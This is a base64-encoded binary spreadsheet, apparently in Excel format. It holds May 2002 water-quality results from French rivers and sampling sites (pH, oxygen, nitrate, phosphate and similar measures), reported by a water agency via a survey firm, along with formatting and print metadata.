CQARAAEAIgAAfAAAAAAAAAAECSDgABQAAAAAAAEAIgAAEAAAAAAAAAAAwCDgABQACAARAAEA IgAAfAAAAAAAAAAECSDgABQABgAAAAEAEgAAfBERQCBAIAAEKyDgABQABgAAAAEAIgAAWAAA AAAAAAAECSDgABQAAAAAAAEAIgAAUAAAAAAAAAAECSDgABQAAAAOAAEAIAAAJBERQCBAIAAA wCDgABQABgAAAAEAEwAAWAAAAAAAAAAECSDgABQAAAAAAAEAIAAAYBERQCBAIAAECSDgABQA CwAAAAEAIwAAfBERQCBAIAAECSDgABQABgABAAEAIAAATAAAAAAAAAAECSDgABQAAAAxAAEA IgAAVAAAAAAAAAAECSDgABQAAAAxAAEAIAAABAAAAAAAAAAAwCDgABQAAAAAAAEAIQAAEAAA AAAAAAAAwCDgABQABgAAAAEAGQAAeBERQCBAIAAEKyDgABQABwAAAAEAGQAAeBERQCBAIAAE KyDgABQABQAAAAEAEAAAWAAAAAAAAAAECSDgABQABQAAAAEAIAAAHAAAAAAAAAAAwCDgABQA BgABAAEAIAAAbBERQCBAIAAEKSDgABQAAAABAAEAIgAAdBERQCBAIAAECSDgABQAAACsAAEA IgAANBERQCBAIAAAwCDgABQAAAAAAAEAIwAAdBERQCBAIAAECSDgABQAAAAAAAEAIwAAcBER QCBAIAAECSDgABQACgAAAAEAEgAAeAERQABAIAAEKyDgABQACgAAAAEAEgAAeAARAABAIAAE KyDgABQACgAAAAEAEgAAeBARACBAIAAEKyCTAgQAEIAD/5MCBAARgAb/kwIEABKABP+TAgQA E4AH/5MCBAAAgAD/kwIEABSABf+pAUcAFIAF/wQAAABE0P9rsFDUEYRaAGAIgU88AAAAAAAA AAAcAwAAtgEAAFgC9wwtKgAA//8SAABS6XN1bHRhdHMgY2FsY3Vs6XOpAUoAFIAF/wQAAABD 0P9rsFDUEYRaAGAIgU88AAAAAAAAAAAcAwAAtgEAAFgC9wwtKgAA//8VAABQculs6HZlbWVu dHMgY2FsY3Vs6XOpAUEAFIAF/wEAAAC0Akx6IQrUEYQmAGAIgU88AAAAAAAAAAAcAwAAtgEA AFgC9wwtKgAA//8MAABwcmVsZXZlbWVudHOpAUEAFIAF/wMAAABxUX+10S/UEYQ9AGAIgU88 AAAAAAAAAAAcAwAAtgEAAFgC9wwtKgAA//8MAABwculs6HZlbWVudHNgAQIAAQCFAA4AqhoA AAAABgAyMDAyMDWFAA4ApHMAAAAABgBGZXVpbDGMAAQAIQAhAK4BBAACAAEEFwAIAAEAAAAA AAAAGABPAAEAADULAAAAAQAAAAAAAFpfNkJGRkQwNDNfNTBCMF8xMUQ0Xzg0NUFfMDA2MDA4 ODE0RjNDXy53dnUuUHJpbnRBcmVhOwAAAAAbABYALwAYAE8AAQAANQsAAAABAAAAAAAAWl82 QkZGRDA0NF81MEIwXzExRDRfODQ1QV8wMDYwMDg4MTRGM0NfLnd2dS5QcmludEFyZWE7AAAA ABsAFgAvABgATwABAAA1CwAAAAEAAAAAAABaX0I1N0Y1MTcxXzJGRDFfMTFENF84NDNEXzAw NjAwODgxNEYzQ18ud3Z1LlByaW50QXJlYTsAAAAAGwAWAC8AGAAbACAAAAELAAAAAQAAAAAA AAY7AAAAAB0AAABCAPwAcQj9AQAAvwAAAAIAAFBIBAAAVEVBVQQAAFRBSVICAABPMgUAAE8y U0FUBQAAVFJBTlMDAABDRFQCAABUQQMAAFRBQwIAAENsAgAAQ2ECAABNZwMAAE1FUwMAAERD TwQAAERCTzUDAABOVEsDAABOSDQDAABOTzMDAABOTzICAABQVAMAAFBPNAQAAENITEEEAABQ UEdNBQAARUNPTEkEAABTVFJGAgAAsEMEAABtZy9sAQAAJQQAALVnL2wQAABOsERvc3NpZXIg RGlwb2xlDgAATrBwb2ludCBhZ2VuY2UKAABEYXRlIHBy6WwuCgAASGV1cmUgcHLpbAsAAE9y ZG9ubmF0ZXVyDAAATGliZWxs6SBMaWV1BQAAU2V1aWwOAABQdCBQculs6HZlbWVudAYAAEFz cGVjdAcAAE1vdXNzZXMIAABGZXVpbGxlcwUAAEJvdWVzBgAAQXV0cmVzBwAAVGVpbnRlcwcA AExpbXBpZGUFAABPZGV1cgUAAE9tYnJlBQAATel06W8KAABQLkF0bW9zcGguDAAAUHLpbOh2 ZW1lbnRzBAAAUE80PQ4AAEh5ZHJvY2FyYnVyZXMwAQAAUAIAAGNtEgAATWVzdXJlcyBkZSB0 ZXJyYWluAgAAsEYDAABTTzQBAABLAgAATmEDAABTaWwGAADgIDI1sEMLAABDb3VycyBkJ2Vh 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 AQAAAAAAAAD9AQAAvwAAAAIAAFBIBAAAVEVBVQQAAFRBSVICAABPMgUAAE8yU0FUBQAAVFJB TlMDAABDRFQCAABUQQMAAFRBQwIAAENsAgAAQ2ECAABNZwMAAE1FUwMAAEQKAAAACQgQAAAG EADyFcwHyQAAAAYAAAALAhQAAAAAAAAAAAAeAAAAECQAAHpgAAANAAIAAQAMAAIAZAAPAAIA AQARAAIAAQAQAAgA/Knx0k1iUD9fAAIAAQAqAAIAAAArAAIAAACCAAIAAQCAAAgAAAAAAAAA AAAlAgQAAAD/AIEAAgDABBoACAABABYAAAAdABQAFQASAAAmTCZGCiZEJlJMLlYuRCA1MwoV AA8ADAAAJlJQYWdlICZQLyZOgwACAAAAhAACAAAAJgAIAJDH4/F4PN4/JwAIAE0mk8lkMtk/ KAAIAE0mk8lkMuk/KQAIAODv9/v9fu8/TQBGCAAAaABwACAAYwBwADEAMQA2ADAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEIUDcAGgHA9+ABwIA CQAAAAAAZAABAAEALAEBAAEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAAAwAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAEKDZYcAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAACAAAAADQIAACaCwAAAWQAAAkAAAAAAAAAAAAAAAAAAAEAAQAAAAAA AAABAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABd8AAEKDZYcBzNq6AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADM2rpoAHAAIABjAHAA MQAxADYAMAAAAGMAcAAxADEANgAwACwATABvAGMAYQBsAE8AbgBsAHkAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKEAIgAJAEEAAQABAAEA AAAsASwBGAwGg8Fg4D8YDAaDwWDgPwEAVQACAAoAfQAMAAAAAABtBRcAAgAAAH0ADAABAAEA 2w8hAAIAAAB9AAwAAgACAG0IMwACAAAAfQAMAAMAAwCSCQ8AAgAAAH0ADAAEAAQAbQcPAAIA AAB9AAwABQAFALYHDwACAAAAfQAMAAYABgC2Cg8AAgAAAH0ADAAHAAcAthYPAAIAAAB9AAwA CAAVALYHDwACAAAAfQAMABYAGgC2BxYAAgAAAH0ADAAbABsAAAgWAAIAAAB9AAwAHAAfALYH FgACAAAAfQAMACAAIQC2ByAAAgAAAH0ADAAiACwAtgcWAAIAAAB9AAwALQAtAJIHFgACAAAA fQAMAC4AMwC2BxcAAgAAAH0ADAA0ADUAtgcjAAIAAAB9AAwANgA3ALYHFwACAAAAfQAMADgA AAFtCxcAAAAAAJAAEAAAAAkAAABDb2xvbm5lIDEBAAIOAAAAAAAeAAAAAABNAAAACAIQAAAA AABNAP8AAABUMAABEgAIAhAAAQAAAE0AOwEAABIAgAEYAAgCEAACAAAATQAsAQAAAABAARIA CAIQAAMAAABNABoBAAAxAMABKgAIAhAABAAAAE0AGgEAAPt/wAEqAAgCEAAFAAAATQD9AgAA AACAASIACAIQAAYAAABNALcBAAAAAMABIgAIAhAABwAAAE0AtwEAABIAQAECAAgCEAAIAAAA TQC3AQAAAABAARIACAIQAAkAAABNALcBAAA4AEABMgAIAhAACgAAAE0AtwEAAAAAQAHhBwgC EAALAAAATQC3AQAAAABAAQAACAIQAAwAAABNALcBAAAAAEABAAAIAhAADQAAAE0AtwEAAAAA QAEAAAgCEAAOAAAATQC3AQAAAABAAQAACAIQAA8AAABNALcBAAAAAEABAAAIAhAAEAAAADYA twEAAAAAQAEAAAgCEAARAAAANgC3AQAAuwBAAQAACAIQABIAAAA2ALcBAAASAEABAAAIAhAA EwAAADYAtwEAAJ0wQAEAAAgCEAAUAAAANgC3AQAAAABAAQAACAIQABUAAAA2ALcBAAAAAEAB 8EcIAhAAFgAAADYAtwEAAAAAQAEAAAgCEAAXAAAANgC3AQAAhgBAAQAACAIQABgAAAA2ALcB AAAAAEABAAAIAhAAGQAAADYAtwEAAAAAQAEAAAgCEAAaAAAANgC3AQAAEgBAAfNHCAIQABsA AAA2ALcBAAASAEABtEcIAhAAHAAAADYAtwEAAAAAQAESAAgCEAAdAAAANgC3AQAAEDBAARIA vgAeAAAAFgAXABcAFwAXABcAFwAXABcAFwAXABcAFwAhAL4AHAAAACMAFwAXABcAFwAXABcA FwAXABcAFwAXAC0AvgAOAAAAMAAjACMAIwAjADMAvgASAAEAAQAeADMADwAPAA8ADwAGAP0A CgABAAcANwC+AAAAvgAuAAEACQAPAA8ADwAPAA8ADwAPADIADwAPADEADwAPACMAJAAkAB8A IwAWACMAHAABAgYAAQAeABYABgAbAAEAHwA2AAAAGAToAP//AAAPADL9BQBEAQAHwAcCPgA7 AABS6XN1bHRhdHMgQUdFTkNFIERFIEwnRUFVIHZpYSBsYSBTb2Np6XTpIEfpbyBIeWQgIC1N YWkgMjAwMr4ACgABACAALQAWACEAAQIGAAEAJAAlAL4ALAABACgAFgAWABYAFgAWABYAFgAW ACMAIwAjACMAIwAjABcAFwAXABcAFwA6AAYAGwABADsANgAAAJAE6AD//wAAAQAf/gUARAEA B8AHAj4AOwAAUulzdWx0YXRzIEFHRU5DRSBERSBMJ0VBVSB2aWEgbGEgU29jael06SBH6W8g SHlkICAtTWFpIDIwMDK+ACgAAQA8ABcAFwAXABcAFwAXABcAFwAXABcAFwAXABcAFwAXABcA FwBMAAECBgACAAsAHQC+AA4AAgAgABYAFgAgACAAIwC+ABIAAgAuABYAFgAjACMAIwAjADMA /QAKAAMAAQAmADAAAAC+AC4AAwACADMAJwAnACcAJwAnACcAJwAnACcAJwAnACcAJwAnACcA JwAnACcAJwAVAP0ACgADABYAGwAAAAAA/QAKAAMAFwAbAAEAAAD9AAoAAwAYABsAAgAAAP0A CgADABkAGwADAAAA/QAKAAMAGgAbAAQAAAD9AAoAAwAbABsABQAAAP0ACgADABwAGwAGAAAA /QAKAAMAHQAbAAcAAAD9AAoAAwAeABsACAAAAP0ACgADAB8AGwAJAAAA/QAKAAMAIAAbADcA AAD9AAoAAwAhABsACgAAAP0ACgADACIAKQALAAAA/QAKAAMAIwApADkAAAD9AAoAAwAkACkA OAAAAP0ACgADACUAKQA6AAAA/QAKAAMAJgAbAAwAAAD9AAoAAwAnABsAPgAAAP0ACgADACgA GwANAAAA/QAKAAMAKQAbAA4AAAD9AAoAAwAqABsADwAAAP0ACgADACsAGwAQAAAA/QAKAAMA LAAbABEAAAD9AAoAAwAtABsAEgAAAP0ACgADAC4AGwATAAAA/QAKAAMALwAbABQAAAD9AAoA AwAwABsAFQAAAP0ACgADADEAGwAWAAAA/QAKAAMAMgAbABcAAAD9AAoAAwAzABsAGAAAAP0A CgADADQAGwA9AAAA/QAKAAMANQAbAD8AAAC+ADAAAwA2ACsAKwArACsAKwArACsAKwArACsA KwArACsAKwArACsAKwArACsAKwArAEoAvgAyAAQAAQAoADMAJwAnACcAJwAnACcAJwAnACcA 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 